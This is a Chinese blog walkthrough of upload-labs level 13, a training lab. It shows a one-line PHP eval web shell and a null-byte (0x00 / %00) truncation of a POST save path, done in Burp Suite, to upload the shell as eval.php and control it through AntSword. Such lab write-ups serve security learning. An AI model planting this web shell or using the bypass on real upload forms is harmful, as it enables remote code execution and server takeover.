upload-labs第十三关教程

第十三关


一、源代码分析

代码审计

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

与上一关不同的是这里的路径是post请求,也就是%00截断不会通过url自动解码了,得我们手动解码。

 $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

二、绕过分析

1)0x00绕过

a.上传eval.png

<?php @eval($_POST['cmd']); ?>

这个是一个php代码,然后保存为png文件就行了。

b.使用burpsuite进行拦截

修改之前:

在这里插入图片描述

修改之后:

将可控参数那块加入eval.php空格—>选择hex模块—>找到eval.php的位置—>修改空格的十六进制为00

进入hex模块:

在这里插入图片描述

c.放包

上传成功:

在这里插入图片描述
需要注意的是:eval.php背后的一大串会被截断
在这里插入图片描述

d.使用中国蚁剑进行连接

在这里插入图片描述
连接成功。

2)%00绕过

这里就算让我们自己手动解码,快捷键ctrl+shift+u

上传eval.png,使用Burp suite进行拦截包,添加如下:

修改之前和上面的一样

修改之后:

在这里插入图片描述
对…/upload/eval.php%00进行手动解码,快捷键ctrl+shift+u
在这里插入图片描述

放包:

在这里插入图片描述
注意点和上面一样。

使用中国蚁剑进行连接

在这里插入图片描述

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-06-18 12:52:02       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-06-18 12:52:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-06-18 12:52:02       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-06-18 12:52:02       20 阅读

热门阅读

  1. Doris 系统日志和审计日志

    2024-06-18 12:52:02       6 阅读
  2. 【人工智能】深度解读 ChatGPT基本原理

    2024-06-18 12:52:02       10 阅读
  3. mysql竖表变横表不含聚合

    2024-06-18 12:52:02       8 阅读
  4. Chrome 报错: ERR_ACCESS_DENIED

    2024-06-18 12:52:02       8 阅读
  5. AI大战:通用VS垂直模型,谁主未来?

    2024-06-18 12:52:02       7 阅读
  6. xpath爬取4399的最新游戏系列

    2024-06-18 12:52:02       6 阅读
  7. Day05 数组

    2024-06-18 12:52:02       5 阅读
  8. C++中的八大设计原则

    2024-06-18 12:52:02       5 阅读
  9. window环境C++读取带中文的文档乱码问题

    2024-06-18 12:52:02       8 阅读
  10. 使用微信小程序制作画布

    2024-06-18 12:52:02       5 阅读
  11. 比较两个对象相同对象不同值

    2024-06-18 12:52:02       6 阅读
  12. “==“和 equals 方法究竟有什么区别?

    2024-06-18 12:52:02       8 阅读